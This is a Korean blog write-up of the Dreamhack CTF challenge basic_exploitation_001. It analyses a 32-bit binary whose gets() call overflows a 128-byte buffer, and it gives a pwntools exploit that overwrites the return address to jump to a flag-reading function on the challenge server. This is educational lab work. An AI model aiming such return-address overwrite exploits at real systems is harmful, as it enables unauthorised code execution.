system hacking

드림핵 basic_exploitation_001 문제 풀이

24kg0ld 2024. 6. 29. 15:14

풀이 환경 : 구름 ide

구름 ide에서는 가져온 파일에 실행권한을 부여해주어야 됨.
$ chmod +x basic_exploitation_001 이라는 코드로 실행 권한 부여

1. 문제 파일 다운, 코드 분석

basic_exploitation_001.c 코드

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


void read_flag() {
    system("cat /flag");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();

    gets(buf);

    return 0;
}

buf의 크기는 0x80(128바이트)으로 지정되었는데 gets는 buf의 크기 이상으로 입력을 받을 수 있으므로 버퍼 오버플로우를 이용한 공격이 가능할 것 같다.
하지만 이전 문제와 다르게 buf의 시작주소의 위치 정보가 없고, 대신 read_flag 라는 함수를 활용하여 flag의 내용을 읽을 수 있을 거 같다.

2. 문제 환경 파악, 취약점 분석

environment

Ubuntu 16.04
Arch:     i386-32-little
RELRO:    No RELRO
Stack:    No canary found
NX:       NX disabled
PIE:      No PIE (0x8048000)
RWX:      Has RWX segments

문제의 environment가 위와 같이 주어져 있다.
arch를 보면 32비트 시스템임을 알 수 있다.
No PIE가 의미하는 것은 실행 파일이 메모리에 로드될 때 주소가 고정됨을 의미한다.
그렇다면 컴파일 될 때 이미 주소가 정해진 함수는 주소가 항상 고정된다.

취약점 분석
버퍼 오버플로우를 이용하여 return adress에 read_flag 함수의 주소를 넣어 $ cat \\flag명령을 실행할 수 있다.

3. 스택 프레임 파악

32비트 시스템의 스택 프레임은 버퍼, sfp(4바이트), return adress(4바이트)로 구성된다.
그렇다면 128비바이트의 버퍼와 4바이트의 sfp를 다 채운 뒤에 return adress에 read_flag 의 주소를 입력하면 된다.

4. read_flag() 함수의 주소 찾기

gdb를 사용해서 read_flag() 함수의 주소를 찾을 수 있다.
이 때 문제에서 제공된 바이너리를 gdb로 확인해야 된다.

p(print) read_flag 또는 info function 이라는 명령어을 사용하여 read_flag의 주소가 0x80485b9 임을 알 수 있다.

5. 쉘코드 작성

아래와 같은 코드를 작성하여 플래그 획득

from pwn import *

context.arch = "i386" #32bit니까 x86아키텍처

p = remote("host3.dreamhack.games", 9077) 

read_flag = p32(0x80485b9) #read_flag의 주소를 입력하기 위해서 패킹
payload = b'A' * 132 + read_flag #128(버퍼의 크기) + 4(sfp의 크기)만큼 A라는 쓰레기 값으로 채운 후 그 뒤에 read_flag의 주소를 넣음
p.sendline(payload) #gets로 입력 받기 때문에 sendline을 이용하여 payload 입력

p.interactive()